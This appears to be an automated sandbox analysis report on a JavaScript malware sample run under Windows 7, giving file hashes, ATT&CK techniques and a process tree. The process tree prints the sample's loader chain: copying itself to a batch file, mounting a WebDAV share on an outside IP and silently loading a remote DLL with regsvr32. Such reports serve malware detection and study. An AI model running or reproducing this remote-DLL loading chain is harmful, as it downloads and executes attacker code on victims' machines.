036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 14:19

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General

Target

036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a.js
Size

5KB
MD5

6b6dbadd4dec5457689f870b6b32527f
SHA1

91addac3c338aa79a00c9ab583011663dabdca8e
SHA256

036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a
SHA512

02695c6f83cad77b2708403110efd7573140d14cbcfe30465fe66f9321f90d95c2dd31fa14725249c80af89e5a5c82a8676d0888319a48a2cc6ecfc311302d8c
SSDEEP

48:T5PGdKyyv3LZPDnk4qk760k77srh1zP5eTlanm3H4/c081JHR7HYV78RYHQPAXcn:9Lhtw456rQt1z4ZXAtVe3yGmk7

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1792	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2732	2312	wscript.exe	30
PID 2312 wrote to memory of 2732	2312	wscript.exe	30
PID 2312 wrote to memory of 2732	2312	wscript.exe	30
PID 2732 wrote to memory of 608	2732	cmd.exe	32
PID 2732 wrote to memory of 608	2732	cmd.exe	32
PID 2732 wrote to memory of 608	2732	cmd.exe	32
PID 2732 wrote to memory of 1792	2732	cmd.exe	33
PID 2732 wrote to memory of 1792	2732	cmd.exe	33
PID 2732 wrote to memory of 1792	2732	cmd.exe	33
PID 2732 wrote to memory of 1792	2732	cmd.exe	33
PID 2732 wrote to memory of 1792	2732	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a.js" "C:\Users\Admin\\fepkhu.bat" && "C:\Users\Admin\\fepkhu.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:608
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\241.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\fepkhu.bat

Filesize
5KB

MD5
6b6dbadd4dec5457689f870b6b32527f

SHA1
91addac3c338aa79a00c9ab583011663dabdca8e

SHA256
036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a

SHA512
02695c6f83cad77b2708403110efd7573140d14cbcfe30465fe66f9321f90d95c2dd31fa14725249c80af89e5a5c82a8676d0888319a48a2cc6ecfc311302d8c

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